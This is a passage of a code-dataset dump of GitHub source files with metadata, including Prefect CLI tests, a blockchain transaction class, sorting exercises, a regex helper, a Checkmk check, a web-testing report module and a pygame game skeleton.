Y_test","repo_name":"helmuthb/experiment-design-mediaeval","sub_path":"subtasks/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74585210586","text":"import sys\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom unittest.mock import MagicMock\n\nimport pytest\nimport readchar\nimport yaml\nfrom typer import Exit\n\nfrom prefect.client import schemas\nfrom prefect.server import models\nfrom prefect.testing.cli import invoke_and_assert\nfrom prefect.testing.utilities import AsyncMock\n\n\n@pytest.fixture\ndef interactive_console(monkeypatch):\n monkeypatch.setattr(\"prefect.cli.project.is_interactive\", lambda: True)\n\n # `readchar` does not like the fake stdin provided by typer isolation so we provide\n # a version that does not require a fd to be attached\n def readchar():\n sys.stdin.flush()\n position = sys.stdin.tell()\n if not sys.stdin.read():\n print(\"TEST ERROR: CLI is attempting to read input but stdin is empty.\")\n raise Exit(-2)\n else:\n sys.stdin.seek(position)\n return sys.stdin.read(1)\n\n monkeypatch.setattr(\"readchar._posix_read.readchar\", readchar)\n\n\n@pytest.fixture\nasync def deployment_with_pull_step(\n session,\n flow,\n):\n def hello(name: str):\n pass\n\n deployment = await models.deployments.create_deployment(\n session=session,\n deployment=schemas.objects.Deployment(\n name=\"hello\",\n flow_id=flow.id,\n pull_steps=[\n {\n \"prefect.deployments.steps.git_clone\": {\n \"repository\": \"https://github.com/PrefectHQ/hello-projects.git\"\n }\n },\n ],\n ),\n )\n await session.commit()\n\n return deployment\n\n\n@pytest.fixture\nasync def deployment_with_pull_steps(\n session,\n flow,\n):\n def hello(name: str):\n pass\n\n deployment = await models.deployments.create_deployment(\n session=session,\n deployment=schemas.objects.Deployment(\n name=\"hello\",\n flow_id=flow.id,\n pull_steps=[\n {\n \"prefect.deployments.steps.git_clone\": {\n \"repository\": \"https://github.com/PrefectHQ/hello-projects.git\"\n }\n },\n {\n \"prefect.deployments.steps.git_clone\": {\n \"repository\": \"https://github.com/PrefectHQ/marvin.git\"\n }\n },\n ],\n ),\n )\n await session.commit()\n\n return deployment\n\n\nclass TestProjectRecipes:\n def test_project_recipe_ls(self):\n result = invoke_and_assert(\"project recipe ls\")\n assert result.exit_code == 0\n\n lines = result.output.split()\n assert len(lines) > 3\n assert \"local\" in lines\n assert \"docker\" in lines\n assert \"git\" in lines\n\n\nclass TestProjectInit:\n def test_project_init(self):\n with TemporaryDirectory() as tempdir:\n result = invoke_and_assert(\n \"init --name test_project\", temp_dir=str(tempdir)\n )\n assert result.exit_code == 0\n for file in [\"prefect.yaml\", \".prefectignore\"]:\n # temp_dir creates a *new* nested temporary directory within tempdir\n assert any(Path(tempdir).rglob(file))\n\n def test_project_init_with_recipe(self):\n with TemporaryDirectory() as tempdir:\n result = invoke_and_assert(\n \"init --name test_project --recipe local\",\n temp_dir=str(tempdir),\n )\n assert result.exit_code == 0\n\n @pytest.mark.usefixtures(\"interactive_console\")\n def test_project_init_with_interactive_recipe(self):\n with TemporaryDirectory() as tempdir:\n invoke_and_assert(\n \"init --name test_project --recipe docker\",\n expected_code=0,\n temp_dir=str(tempdir),\n user_input=\"my-image/foo\"\n + readchar.key.ENTER\n + \"testing\"\n + readchar.key.ENTER,\n expected_output_contains=[\n \"image_name:\",\n \"tag:\",\n ],\n )\n prefect_file = list(Path(tempdir).rglob(\"prefect.yaml\")).pop()\n with open(prefect_file, \"r\") as f:\n configuration = yaml.safe_load(f)\n\n assert (\n configuration[\"build\"][0][\n \"prefect_docker.deployments.steps.build_docker_image\"\n ][\"image_name\"]\n == \"my-image/foo\"\n )\n assert (\n configuration[\"build\"][0][\n \"prefect_docker.deployments.steps.build_docker_image\"\n ][\"tag\"]\n == \"testing\"\n )\n\n @pytest.mark.usefixtures(\"interactive_console\")\n def test_project_init_with_partial_interactive_recipe(self):\n with TemporaryDirectory() as tempdir:\n invoke_and_assert(\n \"init --name test_project --recipe docker --field tag=my-tag\",\n expected_code=0,\n temp_dir=str(tempdir),\n user_input=\"my-image/foo\" + readchar.key.ENTER,\n expected_output_contains=[\n \"image_name:\",\n ],\n )\n prefect_file = list(Path(tempdir).rglob(\"prefect.yaml\")).pop()\n with open(prefect_file, \"r\") as f:\n configuration = yaml.safe_load(f)\n\n assert (\n configuration[\"build\"][0][\n \"prefect_docker.deployments.steps.build_docker_image\"\n ][\"image_name\"]\n == \"my-image/foo\"\n )\n assert (\n configuration[\"build\"][0][\n \"prefect_docker.deployments.steps.build_docker_image\"\n ][\"tag\"]\n == \"my-tag\"\n )\n\n def test_project_init_with_no_interactive_recipe(self):\n with TemporaryDirectory() as tempdir:\n invoke_and_assert(\n (\n \"init --name test_project --recipe docker --field\"\n \" tag=my-tag --field image_name=my-image/foo\"\n ),\n expected_code=0,\n temp_dir=str(tempdir),\n )\n prefect_file = list(Path(tempdir).rglob(\"prefect.yaml\")).pop()\n with open(prefect_file, \"r\") as f:\n configuration = yaml.safe_load(f)\n\n assert (\n configuration[\"build\"][0][\n \"prefect_docker.deployments.steps.build_docker_image\"\n ][\"image_name\"]\n == \"my-image/foo\"\n )\n assert (\n configuration[\"build\"][0][\n \"prefect_docker.deployments.steps.build_docker_image\"\n ][\"tag\"]\n == \"my-tag\"\n )\n\n assert (\n configuration[\"deployments\"][0][\"work_pool\"][\"job_variables\"][\"image\"]\n == \"{{ build_image.image }}\"\n )\n\n def test_project_init_with_unknown_recipe(self):\n result = invoke_and_assert(\n \"init --name test_project --recipe def-not-a-recipe\",\n expected_code=1,\n )\n assert result.exit_code == 1\n assert \"prefect init\" in result.output\n\n @pytest.mark.usefixtures(\"interactive_console\")\n def test_project_init_opt_out_of_recipe(self):\n with TemporaryDirectory() as tempdir:\n result = invoke_and_assert(\n \"init --name test_project\",\n temp_dir=str(tempdir),\n user_input=(readchar.key.DOWN * 10) + readchar.key.ENTER,\n )\n assert result.exit_code == 0\n assert any(Path(tempdir).rglob(\"prefect.yaml\"))\n\n\n@pytest.fixture\ndef git_repository_mock(monkeypatch):\n pull_code_mock = AsyncMock()\n\n def init_git_repo(**kwargs):\n global name\n repository = kwargs.get(\"url\")\n name = repository.split(\"/\")[-1].split(\".\")[0].replace(\".git\", \"\")\n mock = MagicMock()\n mock.destination = Path.cwd() / name\n mock.pull_code = pull_code_mock\n return mock\n\n git_repository_mock = MagicMock()\n git_repository_mock.side_effect = init_git_repo\n monkeypatch.setattr(\n \"prefect.deployments.steps.pull.GitRepository\",\n git_repository_mock,\n )\n return git_repository_mock\n\n\nclass TestProjectClone:\n def test_clone_with_no_options(self):\n result = invoke_and_assert(\n \"project clone\",\n expected_code=1,\n )\n assert result.exit_code == 1\n assert \"Must pass either a deployment name or deployment ID.\" in result.output\n\n def test_clone_with_both_name_and_id(self):\n result = invoke_and_assert(\n \"project clone --deployment test_deployment --id 123\",\n expected_code=1,\n )\n assert result.exit_code == 1\n assert (\n \"Can only pass one of deployment name or deployment ID options.\"\n in result.output\n )\n\n def test_clone_with_name_and_no_pull_steps(self, flow, deployment):\n result = invoke_and_assert(\n f\"project clone --deployment '{flow.name}/{deployment.name}'\",\n expected_code=1,\n )\n assert result.exit_code == 1\n assert \"No pull steps found, exiting early.\" in result.output\n\n def test_clone_with_id_and_no_pull_steps(self, deployment):\n result = invoke_and_assert(\n f\"project clone --id {deployment.id}\",\n expected_code=1,\n )\n assert result.exit_code == 1\n assert \"No pull steps found, exiting early.\" in result.output\n\n def test_clone_with_name_and_pull_step(\n self, flow, git_repository_mock, deployment_with_pull_step\n ):\n result = invoke_and_assert(\n command=(\n \"project clone --deployment\"\n f\" '{flow.name}/{deployment_with_pull_step.name}'\"\n ),\n expected_code=0,\n expected_output_contains=\"hello-projects\",\n )\n assert result.exit_code == 0\n\n def test_clone_with_id_and_pull_steps(\n self, git_repository_mock, deployment_with_pull_steps\n ):\n result = invoke_and_assert(\n f\"project clone --id {deployment_with_pull_steps.id}\",\n expected_code=0,\n expected_output_contains=\"marvin\",\n )\n assert result.exit_code == 0\n","repo_name":"PrefectHQ/prefect","sub_path":"tests/cli/test_project.py","file_name":"test_project.py","file_ext":"py","file_size_in_byte":10431,"program_lang":"python","lang":"en","doc_type":"code","stars":13355,"dataset":"github-code","pt":"11"} +{"seq_id":"42643184878","text":"import inspect\nfrom dataclasses import dataclass\nfrom datetime import datetime\nfrom json import dumps\n\nfrom ecdsa import SigningKey, VerifyingKey\nfrom ecdsa.util import sigencode_string, sigdecode_string\n\n\n@dataclass\nclass Transaction:\n \"\"\"\n Transaction class\n\n Attributes\n ----------\n sender : str\n Sender of the transaction\n recipient : str\n Recipient of the transaction\n amount : int\n Amount of the transaction\n timestamp: datetime\n Timestamp of the transaction\n data: dict\n Extra data of the transaction\n signature : str\n Signature of the transaction\n \"\"\"\n\n amount: float = None\n data: dict = None\n recipient: str = None\n sender: str = None\n signature: str = None\n timestamp: datetime = None\n\n @property\n def size(self):\n \"\"\"returns the size of the transaction in bytes\"\"\"\n return len(dumps(self.data))\n\n @classmethod\n def from_json(cls, json_data: dict):\n \"\"\"\n creates a transaction from a json string\n\n Parameters\n ----------\n json_data : dict\n the json string to create the transaction from\n\n Returns\n -------\n Transaction\n the transaction created from the json string\n \"\"\"\n return cls(\n **{\n key: (\n json_data[key]\n if val.default == val.empty\n else json_data.get(key, val.default)\n )\n for key, val in inspect.signature(Transaction).parameters.items()\n }\n )\n\n def to_dict(self, include_signature: bool = False) -> dict:\n \"\"\"\n returns the transaction as a dict\n\n Parameters\n ----------\n include_signature : bool\n whether to include the signature in the dict\n\n Returns\n -------\n dict\n the transaction as a dict\n \"\"\"\n data = {\n key: val\n for key, val in self.__dict__.items()\n if val is not None and key != \"signature\"\n }\n if include_signature:\n data[\"signature\"] = self.signature\n return data\n\n def to_json(self, include_signature: bool = False) -> str:\n \"\"\"\n returns the transaction as a json string\n\n Parameters\n ----------\n include_signature : bool\n whether to include the signature in the json string\n\n Returns\n -------\n str\n the transaction as a json string\n \"\"\"\n return dumps(self.to_dict(include_signature))\n\n def sign(self, private_key: SigningKey) -> None:\n \"\"\"\n signs the transaction with the given private key\n\n Parameters\n ----------\n private_key :\n the private key to sign the transaction with\n \"\"\"\n self.signature = private_key.sign(\n self.to_json().encode(), sigencode=sigencode_string\n ).hex()\n\n def verify(self) -> bool:\n \"\"\"\n verifies the transaction with the given public key\n\n Returns\n -------\n bool\n True if the transaction is valid, False otherwise\n \"\"\"\n return VerifyingKey.from_string(bytearray.fromhex(self.sender)).verify(\n bytearray.fromhex(self.signature),\n self.to_json().encode(),\n sigdecode=sigdecode_string,\n )\n","repo_name":"Acelxrd95/python-blockchain","sub_path":"transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32302192734","text":"import sys\r\nfrom heapq import heappop, heappush\r\n\r\ndef Sol():\r\n input = sys.stdin.readline\r\n heap = []\r\n N = int(input())\r\n for _ in range(N):\r\n num = int(input())\r\n if num != 0:\r\n heappush(heap, (-num))\r\n else:\r\n if heap == []:\r\n print(0)\r\n else:\r\n print(-heappop(heap))\r\n\r\nif __name__ == \"__main__\":\r\n Sol()","repo_name":"micros0ft-kr/Baekjoon","sub_path":"백준/Silver/11279. 최대 힙/최대 힙.py","file_name":"최대 힙.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21423687381","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom core import report\n\ndef analysis(http_objs):\n\n requests = http_objs[\"total_requests\"]\n response_body = http_objs[\"response_body\"]\n response_headers = http_objs[\"response_headers\"]\n request_URLs = http_objs[\"request_URL\"]\n\n json_rows = []\n\n rpt = report.htmltags()\n\n for i in xrange(0, requests):\n protocol = request_URLs[i][\"protocol\"]\n url = request_URLs[i][\"url\"]\n path = request_URLs[i][\"path\"]\n params = request_URLs[i][\"params\"]\n query = request_URLs[i][\"query\"]\n \n full_path = protocol + \"://\" + url + path\n\n if response_headers[i].has_key(\"Content-Type\"):\n if \"application/json\" in str(response_headers[i][\"Content-Type\"]):\n json_rows.append(\"\" + rpt.href(full_path) + \"\" + response_body[i] + \"\")\n\n collums = {\"JSON\":[\"Path\", \"JSON Analyzed\"]}\n rows = {\"JSON\":json_rows}\n\n tip = \"Tip: Testing for AJAX Vulnerabilities and JSON Hijacking\"\n \n rpt.make_table(\"json\", tip, collums, rows)","repo_name":"Conviso-Archives/webfight","sub_path":"modules/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"14332664469","text":"# SPDX-License-Identifier: GPL-3.0-or-later\n\nimport re\n\nfrom resources.lib.logger import Logger\n\n\nclass Regexer(object):\n \"\"\" Main regexer class \"\"\"\n\n __compiledRegexes = dict()\n \n def __init__(self):\n raise Exception(\"Static only class\")\n\n @staticmethod\n def from_expresso(regex):\n \"\"\" Returns a Regex that has the Expresso grouping (.NET) convert to Python grouping. E.g.: (?...)\n converted to (?P....)\n\n :param str regex: The regex to convert.\n\n :return: Converted Regex string.\n :rtype: str\n\n \"\"\"\n\n return regex.replace(\"(?<\", \"(?P<\")\n\n @staticmethod\n def do_regex(regex, data):\n \"\"\" Performs a regular expression and returns a list of matches that came from\n the regex.findall method.\n \n Performs a regular expression findall on the and returns the results that came\n from the method.\n \n From the sre.py library:\n If one or more groups are present in the pattern, return a list of groups; this will be\n a list of tuples if the pattern has more than one group.\n \n Empty matches are included in the result.\n\n :param list[str|unicode]|str|unicode regex: The regex to perform on the data.\n :param str|unicode data: The data to perform the regex on.\n\n :return:\n :rtype: list[str|dict[str|unicode,str|unicode]]\n\n \"\"\"\n \n try:\n if not isinstance(regex, (tuple, list)):\n if \"?P<\" in regex:\n return Regexer.__do_dictionary_regex(regex, data)\n else:\n return Regexer.__do_regex(regex, data)\n\n # We got a list of Regexes\n Logger.debug(\"Performing multi-regex find on '%s'\", regex)\n results = []\n count = 0\n for r in regex:\n if \"?P<\" in r:\n regex_results = Regexer.__do_dictionary_regex(r, data)\n # add to the results with a count in front of the results\n results += [(count, x) for x in regex_results]\n else:\n regex_results = Regexer.__do_regex(r, data)\n if len(regex_results) <= 0:\n continue\n\n if isinstance(regex_results[0], (tuple, list)):\n # is a tupe/list was returned, prepend it with the count\n # noinspection PyTypeChecker\n results += [(count,) + x for x in regex_results]\n else:\n # create a tuple with the results\n results += [(count, x) for x in regex_results]\n # increase count\n count += 1\n Logger.debug(\"Returning %s results\", len(results))\n return list(results)\n except:\n Logger.critical('error regexing', exc_info=True)\n return []\n\n @staticmethod\n def __do_regex(regex, data):\n \"\"\" does the actual regex for non-dictionary regexes \n \n Arguments:\n regex : string - the regex to perform on the data.\n data : string - the data to perform the regex on.\n \n Returns:\n A list of matches that came from the regex.findall method.\n :rtype: list[str]\n \n \"\"\"\n \n compiled_regex = Regexer.__get_compiled_regex(regex)\n return compiled_regex.findall(data)\n \n @staticmethod\n def __do_dictionary_regex(regex, data):\n \"\"\" Does the actual regex for dictionary regexes and returns a list of matches that\n came from the regex.finditer method.\n\n :param regex: The regex to perform on the data.\n :param data: The data to perform the regex on.\n\n :return: a list of matches that came from the regex.finditer method.\n :rtype: list[dict[str|unicode,str|unicode]]\n\n \"\"\"\n \n compiled_regex = Regexer.__get_compiled_regex(regex)\n it = compiled_regex.finditer(data)\n return [x.groupdict() for x in it]\n\n @staticmethod\n def __get_compiled_regex(regex):\n \"\"\"\n @param regex: The input regex to fetch a compiled version from\n @return: a compiled regex\n \"\"\"\n\n if regex in Regexer.__compiledRegexes:\n Logger.debug(\"Re-using cached Compiled Regex object\")\n compiled_regex = Regexer.__compiledRegexes[regex]\n else:\n Logger.trace(\"Compiling Regex object and storing in cache\")\n compiled_regex = re.compile(regex, re.DOTALL + re.IGNORECASE)\n Regexer.__compiledRegexes[regex] = compiled_regex\n\n return compiled_regex\n","repo_name":"retrospect-addon/plugin.video.retrospect","sub_path":"resources/lib/regexer.py","file_name":"regexer.py","file_ext":"py","file_size_in_byte":4758,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"11"} +{"seq_id":"70874530909","text":"from __future__ import annotations\n\nimport enum\nimport itertools\nfrom dataclasses import dataclass\nfrom functools import cached_property\n\n\nclass RatingTag(enum.IntEnum):\n ALL = 0\n RECOMMENDED = 1\n MIXED_FEELINGS = 2\n NOT_RECOMMENDED = 3\n\n\nclass Reaction(enum.IntEnum):\n NICE = 0\n LOVE_IT = 1\n FUNNY = 2\n CONFUSING = 3\n INFORMATIVE = 4\n WELL_WRITTEN = 5\n CREATIVE = 6\n\n\n@dataclass\nclass Review:\n tag: RatingTag\n rating: int\n reactions: tuple[int, ...]\n displayed_reactions: tuple[int, ...]\n\n @staticmethod\n def get_tag_name(review: Review) -> str:\n return review.tag.name\n\n @cached_property\n def num_reactions(self) -> int:\n return sum(self.reactions)\n\n\n@dataclass\nclass Anime:\n id: int\n title: str\n url: str\n rank: int\n popularity: int\n review_count: dict[RatingTag, int]\n top_reviews: dict[RatingTag, list[Review]]\n\n def top_n_reviews(self, n: int) -> list[Review]:\n return sorted(\n list(itertools.chain(*self.top_reviews.values())),\n key=lambda x: sum(x.reactions),\n reverse=True,\n )[:n]\n","repo_name":"Manitary/MAL-reviews","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1582723601","text":"\nfrom vsg import rule\nfrom vsg import check\nfrom vsg import fix\n\n\nclass rule_003(rule.rule):\n '''\n Concurrent rule 003 checks the alignment of multiline concurrent assignments.\n '''\n\n def __init__(self):\n rule.rule.__init__(self)\n self.name = 'concurrent'\n self.identifier = '003'\n self.solution = 'Align first character in row to the column of text one space after the <=.'\n self.phase = 6\n\n def analyze(self, oFile):\n for iLineNumber, oLine in enumerate(oFile.lines):\n if oLine.insideConcurrent:\n if oLine.isConcurrentBegin and oLine.isEndConcurrent:\n continue\n if oLine.isConcurrentBegin:\n iAlignmentColumn = oLine.line.find('<') + 3\n else:\n check.multiline_alignment(self, iAlignmentColumn, oLine, iLineNumber)\n\n def _fix_violations(self, oFile):\n for iLineNumber in self.dFix['violations']:\n fix.multiline_alignment(self, oFile, iLineNumber)\n","repo_name":"ryanfitzsimon/vhdl-style-guide","sub_path":"vsg/rules/concurrent/rule_003.py","file_name":"rule_003.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"11619581576","text":"from cmk.base.check_api import LegacyCheckDefinition\nfrom cmk.base.config import check_info\nfrom cmk.base.plugins.agent_based.agent_based_api.v1 import SNMPTree\nfrom cmk.base.plugins.agent_based.utils.sni_octopuse import DETECT_SNI_OCTOPUSE\n\n\ndef inventory_octopus_cpu(info):\n if len(info[0][0]) == 1:\n return [(None, None)]\n return []\n\n\ndef check_octopus_cpu(_no_item, _no_params_info, info):\n cpu_perc = int(info[0][0][0])\n perfdata = [(\"util\", \"%.3f\" % cpu_perc)]\n return 0, \"CPU utilization is %d%%\" % cpu_perc, perfdata\n\n\ncheck_info[\"sni_octopuse_cpu\"] = LegacyCheckDefinition(\n detect=DETECT_SNI_OCTOPUSE,\n fetch=[\n SNMPTree(\n base=\".1.3.6.1.4.1.231.7.2.9.1\",\n oids=[\"7\"],\n )\n ],\n service_name=\"CPU utilization\",\n discovery_function=inventory_octopus_cpu,\n check_function=check_octopus_cpu,\n)\n","repo_name":"Checkmk/checkmk","sub_path":"cmk/base/legacy_checks/sni_octopuse_cpu.py","file_name":"sni_octopuse_cpu.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":1176,"dataset":"github-code","pt":"11"} +{"seq_id":"73697706588","text":"# 1)_Escribe un programa que tome una lista de números como entrada \r\n# y la ordene en orden ascendente utilizando el método de ordenamiento de burbuja.\r\n\r\nsorted_list = [2,8,5,17,40,3,72,1,32,0]\r\n\r\nband = False\r\nwhile band == False:\r\n band = True\r\n for number in range(len(sorted_list)-1):\r\n if sorted_list[number] > sorted_list[number+1]:\r\n aux = sorted_list[number]\r\n sorted_list[number] = sorted_list[number+1]\r\n sorted_list[number+1] = aux\r\n band = False\r\nprint (sorted_list)\r\n\r\n# 2)_Crea un programa que tome una lista de palabras como entrada y las\r\n# ordene alfabéticamente en orden ascendente utilizando el método de ordenamiento de selección.\r\n\r\nword_list = [\"campera\",\"paraguas\",\"zapatillas\",\"remera\",\"pantalon\"]\r\n\r\nfor i in range(0,len(word_list)):\r\n min = i\r\n\r\n for j in range(i+1,len(word_list)):\r\n\r\n if word_list[min] > word_list[j]:\r\n min = j\r\n\r\n aux = word_list[i]\r\n word_list[i] = word_list[min]\r\n word_list[min] = aux\r\n\r\nprint (word_list) \r\n\r\n# 3)_Crea una lista de diccionarios, donde cada diccionario contiene información sobre\r\n# un libro (título, autor, año de publicación, etc.). Luego, escribe un programa que\r\n# ordene la lista de libros en función de un campo específico, como el año de publicación o el autor.\r\n\r\nlist_dict = [\r\n {\"Titulo\": \"EL QUIJOTE\", \"Autor\": \"Miguel de Cervantes\", \"Año de publicación\": \"1605\", \"Puntaje\": \"267 puntos\"},\r\n {\"Titulo\": \"LA ODISEA\", \"Autor\": \"Homero\", \"Año de publicación\": \"1906-1935\", \"Puntaje\": \"148 puntos\"},\r\n {\"Titulo\": \"Hamlet\", \"Autor\": \"William Shakespeare\", \"Año de publicación\": \"1602\", \"Puntaje\": \"63 puntos\"}\r\n\r\n]\r\n\r\nprint()\r\nprint(\"Libros Desordenados:\")\r\nprint()\r\nfor book in list_dict:\r\n print(f\"Titulo: {book['Titulo']}, Autor: {book['Autor']}, Año de publicación: {book['Año de publicación']}, Puntaje: {book['Puntaje']}\")\r\nprint()\r\n\r\n# Ordenaremos la lista en base al Título\r\n\r\nfor i in range(0, len(list_dict)):\r\n min = i\r\n for j in range(i + 1, len(list_dict)):\r\n if list_dict[min][\"Titulo\"] > list_dict[j][\"Titulo\"]:\r\n min = j\r\n\r\n aux = list_dict[i]\r\n list_dict[i] = list_dict[min]\r\n list_dict[min] = aux\r\n\r\nprint(\"---------------------------------\")\r\nprint()\r\n\r\nprint(\"Libros Ordenados:\")\r\nprint()\r\nfor book in list_dict:\r\n print(f\"Titulo: {book['Titulo']}, Autor: {book['Autor']}, Año de publicación: {book['Año de publicación']}, Puntaje: {book['Puntaje']}\")\r\nprint()\r\n\r\n# 4)_Escribe un programa que tome una lista de cadenas como entrada y las ordene\r\n# en orden ascendente según su longitud. Puedes utilizar el método de ordenamiento de inserción.\r\n\r\nstring_list = [\"python\", \"programacion\", \"carrera\", \"software\", \"programa\"]\r\n\r\nprint(\"Lista Desordenada:\")\r\nprint(string_list)\r\n\r\nfor i in range(1, len(string_list)):\r\n key = string_list[i]\r\n j = i - 1\r\n while j >= 0 and len(string_list[j]) > len(key):\r\n string_list[j + 1] = string_list[j]\r\n j -= 1\r\n string_list[j + 1] = key\r\n\r\nprint(\"-------------------------\")\r\nprint()\r\nprint(\"Lista Ordenada:\")\r\nprint(string_list)\r\n\r\n# 5)_Modifica uno de los ejercicios anteriores para ordenar la lista de números en orden\r\n# descendente en lugar de ascendente.\r\n\r\n# Modificamos el ejercicio 1)_ y lo ordenamos de forma descendente\r\n\r\nsorted_list = [2,8,5,17,40,3,72,1,32,0]\r\n\r\nband = False\r\nwhile band == False:\r\n band = True\r\n for number in range(len(sorted_list)-1):\r\n # Para ordenarlo de forma desendente cambiamos el signo mayor por el de menor:\r\n if sorted_list[number] < sorted_list[number+1]:\r\n aux = sorted_list[number]\r\n sorted_list[number] = sorted_list[number+1]\r\n sorted_list[number+1] = aux\r\n band = False\r\nprint (sorted_list)\r\n\r\n# 6)_Escribe un programa que tome una lista de números enteros y ordene la lista utilizando\r\n# el algoritmo de ordenamiento por conteo.\r\n\r\n# Lista que deseamos ordenar\r\narr = [4, 2, 6, 8, 3, 7, 1]\r\n\r\nif not arr:\r\n print(\"La lista está vacía.\")\r\nelse:\r\n # Encuentra el valor máximo en la lista\r\n max_value = max(arr)\r\n\r\n # Crear una lista de conteo de tamaño max_value + 1 e inicializarla con ceros\r\n count = [0] * (max_value + 1)\r\n\r\n # Contar la frecuencia de cada elemento\r\n for num in arr:\r\n count[num] += 1\r\n\r\n # Reconstruir la lista ordenada a partir de la lista de conteo\r\n sorted_arr = []\r\n for i in range(max_value + 1):\r\n sorted_arr.extend([i] * count[i])\r\n\r\n print(\"Arreglo ordenado:\", sorted_arr)\r\n\r\n# 7)_Crea una lista que contenga tanto números como cadenas de caracteres. Escribe\r\n# un programa que ordene esta lista de manera que primero estén los números ordenados\r\n# de menor a mayor y luego las cadenas de caracteres ordenadas alfabéticamente.\r\n\r\n# Usaremos el Ordenamiento por Seleccion\r\n\r\n# Lista con números y cadenas\r\nmy_list = [5, 'manzana', 2, 'banana', 8, 'cereza', '4', 1, 'uva']\r\n\r\n# Separa números y cadenas en listas diferentes\r\nnumbers = [x for x in my_list if isinstance(x, int)]\r\nstrings = [x for x in my_list if isinstance(x, str)]\r\n\r\n# Ordena la lista de números utilizando ordenamiento por selección\r\nfor i in range(len(numbers)):\r\n min_idx = i\r\n for j in range(i + 1, len(numbers)):\r\n if numbers[j] < numbers[min_idx]:\r\n min_idx = j\r\n numbers[i], numbers[min_idx] = numbers[min_idx], numbers[i]\r\n\r\n# Ordena la lista de cadenas alfabéticamente utilizando ordenamiento por selección\r\nfor i in range(len(strings)):\r\n min_idx = i\r\n for j in range(i + 1, len(strings)):\r\n if strings[j] < strings[min_idx]:\r\n min_idx = j\r\n strings[i], strings[min_idx] = strings[min_idx], strings[i]\r\n\r\n# Combina las listas ordenadas\r\nmy_list = numbers + strings\r\n\r\nprint(\"Lista ordenada:\", my_list)\r\n\r\n# 8)_Implementa el algoritmo de ordenamiento Merge Sort y úsalo para ordenar una lista de números.\r\n\r\n# Implementación del algoritmo de Merge Sort\r\ndef merge_sort(arr):\r\n if len(arr) > 1:\r\n middle = len(arr) // 2\r\n left_half = arr[:middle]\r\n right_half = arr[middle:]\r\n\r\n # Ordenar las mitades izquierda y derecha de forma Recursiva\r\n merge_sort(left_half)\r\n merge_sort(right_half)\r\n\r\n i = j = k = 0\r\n\r\n # Combinar las dos mitades ordenadas\r\n while i < len(left_half) and j < len(right_half):\r\n if left_half[i] < right_half[j]:\r\n arr[k] = left_half[i]\r\n i += 1\r\n else:\r\n arr[k] = right_half[j]\r\n j += 1\r\n k += 1\r\n\r\n while i < len(left_half):\r\n arr[k] = left_half[i]\r\n i += 1\r\n k += 1\r\n\r\n while j < len(right_half):\r\n arr[k] = right_half[j]\r\n j += 1\r\n k += 1\r\n\r\narr = [38, 27, 43, 3, 9, 82, 10]\r\n\r\nprint(\"Arreglo original:\", arr)\r\n\r\nmerge_sort(arr)\r\nprint(\"Arreglo ordenado:\", arr)","repo_name":"Orihuelaa/Programaci-n-1","sub_path":"TpN7.py","file_name":"TpN7.py","file_ext":"py","file_size_in_byte":6990,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72977494747","text":"\nA, B = map(int, input().split())\n\n# print(f'A = {A} B= {B}')\n\ndef A_2_B(A, B) :\n count = 0\n while(B > A) :\n if B%2 == 0 :\n B/=2\n count+=1\n else :\n B-=1\n B/=10\n count+=1\n \n if B == A :\n return count + 1\n \n return -1\n\nresult = A_2_B(A,B)\nprint(result)\n \n","repo_name":"hwangbo98/PREP_CODINGTEST","sub_path":"B16953.py","file_name":"B16953.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"17457968244","text":"import pygame\nimport sys\nfrom plane_sprites import *\n\nclass MainWindow():\n def __init__(self):\n self.WIN_X = 480\n self.WIN_Y = 700\n\n BLACK = 0, 0, 0\n WHITE = 255, 255, 255\n GOLD = 255, 251, 0\n RED = pygame.Color('red')\n GREEN = 0, 255, 0\n BLUE = 0, 0, 255\n YELLOW = pygame.Color('yellow')\n self.color_list = [BLACK, WHITE, GOLD, RED, GREEN, BLUE, YELLOW]\n self.fps = 300\n self.fclock = pygame.time.Clock()\n\n title_name = 'plane game'\n init_result = pygame.init()\n\n # Create a window\n self.screen = pygame.display.set_mode((self.WIN_X,self.WIN_Y))\n self.screen.fill(self.color_list[0])\n pygame.display.update()\n # Set title\n pygame.display.set_caption(title_name)\n\n def start_game(self):\n bg = BackGround()\n bg_surf = bg.bg_move()\n hero = Hero('images\\\\plane_images\\\\life.png')\n hero2 = GameSprite('images\\\\plane_images\\\\life.png',2)\n hero_group = pygame.sprite.Group(hero,hero2)\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n print ('BYE-BYE')\n pygame.quit()\n sys.exit()\n self.screen.blit(bg_surf, (0,0))\n hero_group.update()\n hero_group.draw(self.screen)\n pygame.display.update()\n self.fclock.tick(self.fps)\n\nclass BackGround:\n def bg_move(self):\n pic_name = 'images\\\\plane_images\\\\background.png'\n bg_surf = pygame.image.load(pic_name)\n return bg_surf\n\nif __name__ == '__main__':\n game = MainWindow()\n game.start_game()\n\n","repo_name":"youinmelin/practice2020","sub_path":"pygame/plane_game_00.py","file_name":"plane_game_00.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"871127142","text":"from django.urls import path\nfrom . import 